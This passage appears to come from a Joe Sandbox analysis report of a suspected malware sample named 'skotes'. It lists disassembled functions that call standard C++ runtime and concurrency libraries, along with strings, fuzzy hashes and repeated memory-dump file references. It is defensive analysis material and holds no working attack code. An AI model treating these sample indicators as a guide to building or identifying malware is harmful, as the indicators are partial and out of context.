Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: j718
API String ID: 1635606685-3131343938
Opcode ID: 3d8e504f0ef345049c0678791dda8cd3b4a4f5cbbfc6a633c75f87cc446d82eb
Instruction ID: 3c0a456747c86c685d3d3bf9a9b8d25f81f085d773d46d4bf0d1ca7dd60e3edf
Opcode Fuzzy Hash: 3d8e504f0ef345049c0678791dda8cd3b4a4f5cbbfc6a633c75f87cc446d82eb
Instruction Fuzzy Hash: DE81A2B2D30256BBDF219FA48849AEE7BBD9F09714F29C155E800B7281D775CC648BA0

Function 001F2EC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001F2F5F
GetCurrentThreadId.KERNEL32 ref: 001F2F7E
__Mtx_unlock.LIBCPMT ref: 001F2FCC
__Cnd_broadcast.LIBCPMT ref: 001F2FE3

Strings

j718, xrefs: 001F2ED7, 001F3203

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID: j718
API String ID: 3264154886-3131343938
Opcode ID: 4eaa76ffe1cb894064fecaa3b376ffdee4c05eb5e9a5d5776075d1abc82acabf
Instruction ID: e1a957d490563a0813baea4fa5f3aa827f652c0d64d1970cd812b99f04951508
Opcode Fuzzy Hash: 4eaa76ffe1cb894064fecaa3b376ffdee4c05eb5e9a5d5776075d1abc82acabf
Instruction Fuzzy Hash: 0641E2B19113099FDB20DF64C944B6AB7F8FF15320F10462AE926D7781EB35EA15CB81

Function 00221B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00221B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00221B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00221C2A

Strings

pContext, xrefs: 00221C22
switchState, xrefs: 00221B5E

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 51a29d193742184314ca2d508cca7cbca9c96ebe20c3009f76a8173b6a122555
Instruction ID: 62c7985c38692545f6fc85cfe98f796fb58bba45bf5ac7caa40d3d9f832d1a8f
Opcode Fuzzy Hash: 51a29d193742184314ca2d508cca7cbca9c96ebe20c3009f76a8173b6a122555
Instruction Fuzzy Hash: 0331F635A20225BBCF14EFA4E881EADB375FF64314F204565ED1197292EB70ED31CA90

Function 00224E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00224E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00224E86
PMDtoOffset.LIBCMT ref: 00224EAC

Strings

Bad dynamic_cast!, xrefs: 00224EEE

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: e16e1cb863c0b9e579a892908f1cd1a721323ec1c99bcffd8c58fe9b5f2c92dc
Instruction ID: c44ff5a0355a6f89a1b03f447cfbd9e8e134bf71920fff6724fbbdd405f96544
Opcode Fuzzy Hash: e16e1cb863c0b9e579a892908f1cd1a721323ec1c99bcffd8c58fe9b5f2c92dc
Instruction Fuzzy Hash: 06212972A20225BFDB14EEE8ED06EAE77A4FF84724B114119F90197180DB71E9208A91

Function 0020BB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0020BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BBE4
_xtime_get.LIBCPMT ref: 0020BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BC13

Strings

j718, xrefs: 0020BB78

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: j718
API String ID: 531285432-3131343938
Opcode ID: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction ID: 0c23ae55fd9da57a1fe8cc1abdcba15d3abd7623e77e84c64022f925b7db08fd
Opcode Fuzzy Hash: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction Fuzzy Hash: D72171B1D102099FDF10EFA4DC859BEB779EF48710F200116FA01A7292DB309D118F91

Function 0021A026 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0021A069

Part of subcall function 0021B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0021B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0021A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0021A0CB

Part of subcall function 0021AB41: List.LIBCONCRT ref: 0021AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0021A0DB

Strings

j718, xrefs: 0021A02C

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID: j718
API String ID: 932774601-3131343938
Opcode ID: db732841ef3615afc9f58942f62f6c3090995b92666645bd566928bd07224895
